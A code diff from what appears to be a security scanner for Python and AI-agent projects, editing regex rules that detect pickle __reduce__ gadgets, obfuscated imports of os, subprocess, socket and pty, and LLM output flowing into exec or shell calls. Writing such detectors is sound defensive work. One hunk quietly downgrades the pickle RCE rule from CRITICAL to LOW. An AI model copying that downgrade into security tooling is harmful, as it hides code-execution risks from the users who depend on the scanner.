  message: 'Uses an agent-framework component that executes LLM-generated code (exec/eval on model output). If the model can be steered (prompt injection), this is remote code execution in the agent host (CVE-2023-29374 / CVE-2024-4181 class).',
@@ -195,7 +197,7 @@ export const PY_RULES = [
195
197
  {
196
198
  id: 'python.reduce_payload',
197
199
  title: 'Custom __reduce__ (pickle RCE gadget)',
198
- severity: 'CRITICAL',
200
+ severity: 'LOW',
199
201
  category: 'deserialization',
200
202
  confidence: 0.8,
201
203
  re: /def\s+__reduce__\s*\(|def\s+__reduce_ex__\s*\(|def\s+__setstate__\s*\(/,
@@ -224,7 +226,7 @@ export const PY_RULES = [
224
226
  severity: 'HIGH',
225
227
  category: 'obfuscation',
226
228
  confidence: 0.7,
227
- re: /\bimportlib\.import_module\s*\(|\b__import__\s*\(\s*['"]?\s*(os|subprocess|socket|base64|marshal|ctypes)|\bexec\s*\(\s*(base64|bytes|marshal|codecs)/,
229
+ re: /\bimportlib\.import_module\s*\(\s*['"](os|subprocess|socket|base64|marshal|ctypes|pty|commands|pickle)\b|\b__import__\s*\(\s*['"]?\s*(os|subprocess|socket|base64|marshal|ctypes)|\bexec\s*\(\s*(base64|bytes|marshal|codecs)/,
228
230
  sink: (m) => m[0].trim(),
229
231
  message: 'Imports or executes a module chosen at runtime, often to hide os/subprocess/socket usage from a quick read.',
230
232
  remediation: 'Resolve what is imported and why. Obfuscated dynamic imports in model code are a strong malware tell.',
@@ -287,6 +289,6 @@ export const PY_RULES = [
287
289
  export const PY_TAINT = {
288
290
  lang: 'python',
289
291
  ruleId: 'python.llm_output_to_sink',
290
- aiCall: /\.(a?generate|a?predict|a?invoke|a?run|complete|acomplete|chat|stream|__call__|predict_messages)\s*\(|\.(chat\.)?completions\.create\s*\(|\.messages\.create\s*\(|\bllm\s*\(/,
292
+ aiCall: /\.(chat\.)?completions\.create\s*\(|\.messages\.create\s*\(|\b\w{0,64}(?:llm|chain|model|agent|executor|client|openai|anthropic|bedrock|gemini|claude|gpt|ollama|mistral|cohere)\w{0,64}\.(a?generate|a?predict|a?invoke|a?run|complete|acomplete|chat|stream|__call__|predict_messages)\s*\(|\bllm\s*\(/i,
291
293
  execSink: /(?<![.\w])(eval|exec|compile)\s*\(|\bos\.(system|popen)\s*\(|\bsubprocess\.(run|call|check_output|check_call|Popen)\s*\(/g,
292
294
  };
@@ -84,7 +84,7 @@ const JS_EXT = /\.(m|c)?[jt]sx?$/i;
84
84
 
85
85
  const NB_EXT = /\.ipynb$/i;
86
86
 
87
- const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config)\.json$/i;
87
+ const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config|processor_config|adapter_config|config_sentence_transformers)\.json$/i;
88
88
 
89
89
  export function isScannableSource(path) {
90
90
  return PY_EXT.test(path) || JS_EXT.test(path) || NB_EXT.test(path);